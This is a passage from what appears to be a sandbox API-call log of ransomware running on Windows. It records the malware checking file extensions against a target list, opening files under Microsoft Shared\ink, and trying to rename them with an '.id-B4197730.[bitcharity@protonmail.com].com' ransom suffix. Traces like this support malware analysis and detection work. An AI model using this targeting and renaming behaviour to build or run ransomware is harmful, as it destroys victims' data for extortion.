lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.667] lstrlenW (lpString=".xls") returned 4 [0286.667] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.667] lstrlenW (lpString=".xlsx") returned 5 [0286.667] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0286.667] lstrlenW (lpString=".ppt") returned 4 [0286.667] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.667] lstrlenW (lpString=".zip") returned 4 [0286.668] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.668] lstrlenW (lpString=".rar") returned 4 [0286.668] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString=".bz2") returned 4 [0286.668] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString=".7z") returned 3 [0286.668] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.668] lstrlenW (lpString=".dbf") returned 4 [0286.668] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.668] lstrlenW (lpString=".1cd") returned 4 [0286.668] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.668] lstrlenW (lpString=".jpg") returned 4 [0286.668] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.668] lstrlenW (lpString=".doc") returned 4 [0286.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString=".docx") returned 5 [0286.668] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0286.668] lstrlenW (lpString=".pdf") returned 4 [0286.668] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString=".xls") returned 4 [0286.668] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString=".xlsx") returned 5 [0286.668] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0286.668] lstrlenW (lpString=".ppt") returned 4 [0286.668] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.668] lstrlenW (lpString=".zip") returned 4 [0286.668] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.668] lstrlenW (lpString=".rar") returned 4 [0286.668] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString=".bz2") returned 4 [0286.668] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.668] lstrlenW (lpString=".7z") returned 3 [0286.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.669] lstrlenW (lpString=".dbf") returned 4 [0286.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.669] lstrlenW (lpString=".1cd") returned 4 [0286.669] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.669] lstrlenW (lpString=".jpg") returned 4 [0286.669] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.669] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.669] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0286.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.669] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=805) returned 1 [0286.669] CloseHandle (hObject=0x109c) returned 1 [0286.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0286.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.670] lstrlenW (lpString=".doc") returned 4 [0286.670] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString=".docx") returned 5 [0286.670] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0286.670] lstrlenW (lpString=".pdf") returned 4 [0286.670] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString=".xls") returned 4 [0286.670] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString=".xlsx") returned 5 [0286.670] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0286.670] lstrlenW (lpString=".ppt") returned 4 [0286.670] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.670] lstrlenW (lpString=".zip") returned 4 [0286.670] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.670] lstrlenW (lpString=".rar") returned 4 [0286.670] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString=".bz2") returned 4 [0286.670] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString=".7z") returned 3 [0286.670] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.670] lstrlenW (lpString=".dbf") returned 4 [0286.670] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.670] lstrlenW (lpString=".1cd") returned 4 [0286.670] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.670] lstrlenW (lpString=".jpg") returned 4 [0286.670] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.670] lstrlenW (lpString=".doc") returned 4 [0286.670] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.670] lstrlenW (lpString=".docx") returned 5 [0286.670] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0286.670] lstrlenW (lpString=".pdf") returned 4 [0286.671] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.671] lstrlenW (lpString=".xls") returned 4 [0286.671] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.671] lstrlenW (lpString=".xlsx") returned 5 [0286.671] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0286.671] lstrlenW (lpString=".ppt") returned 4 [0286.671] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.671] lstrlenW (lpString=".zip") returned 4 [0286.671] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.671] lstrlenW (lpString=".rar") returned 4 [0286.671] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.671] lstrlenW (lpString=".bz2") returned 4 [0286.671] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.671] lstrlenW (lpString=".7z") returned 3 [0286.671] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.671] lstrlenW (lpString=".dbf") returned 4 [0286.671] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.671] lstrlenW (lpString=".1cd") returned 4 [0286.671] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0286.671] lstrlenW (lpString=".jpg") returned 4 [0286.671] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.671] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.671] lstrlenW (lpString="symbase.xml") returned 11 [0286.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.672] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=3823) returned 1 [0286.672] CloseHandle (hObject=0x109c) returned 1 [0286.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0286.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0286.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0286.672] lstrlenW (lpString=".doc") returned 4 [0286.672] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.672] lstrlenW (lpString=".docx") returned 5 [0286.672] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0286.672] lstrlenW (lpString=".pdf") returned 4 [0286.672] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.672] lstrlenW (lpString=".xls") returned 4 [0286.672] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.672] lstrlenW (lpString=".xlsx") returned 5 [0286.672] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0286.672] lstrlenW (lpString=".ppt") returned 4 [0286.672] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0286.672] lstrlenW (lpString=".zip") returned 4 [0286.672] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.672] lstrlenW (lpString=".rar") returned 4 [0286.672] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.672] lstrlenW (lpString=".bz2") returned 4 [0286.672] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.672] lstrlenW (lpString=".7z") returned 3 [0286.673] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.673] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=591) returned 1 [0286.673] CloseHandle (hObject=0x109c) returned 1 [0286.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0286.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.674] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=46624) returned 1 [0286.674] CloseHandle (hObject=0x109c) returned 1 [0286.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0286.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.674] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=498624) returned 1 [0286.674] CloseHandle (hObject=0x109c) returned 1 [0286.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0286.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.675] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=1100592) returned 1 [0286.675] CloseHandle (hObject=0x109c) returned 1 [0286.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0286.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.675] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2515696) returned 1 [0286.675] CloseHandle (hObject=0x109c) returned 1 [0286.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0286.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0286.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.676] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=3380096) returned 1 [0286.676] CloseHandle (hObject=0x109c) returned 1 [0286.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0286.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0286.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.677] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2418) returned 1 [0286.677] CloseHandle (hObject=0x109c) returned 1 [0286.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0286.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.678] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2592) returned 1 [0286.678] CloseHandle (hObject=0x109c) returned 1 [0286.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0286.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.678] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2462) returned 1 [0286.678] CloseHandle (hObject=0x109c) returned 1 [0286.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0286.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.679] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2436) returned 1 [0286.679] CloseHandle (hObject=0x109c) returned 1 [0286.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0286.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft 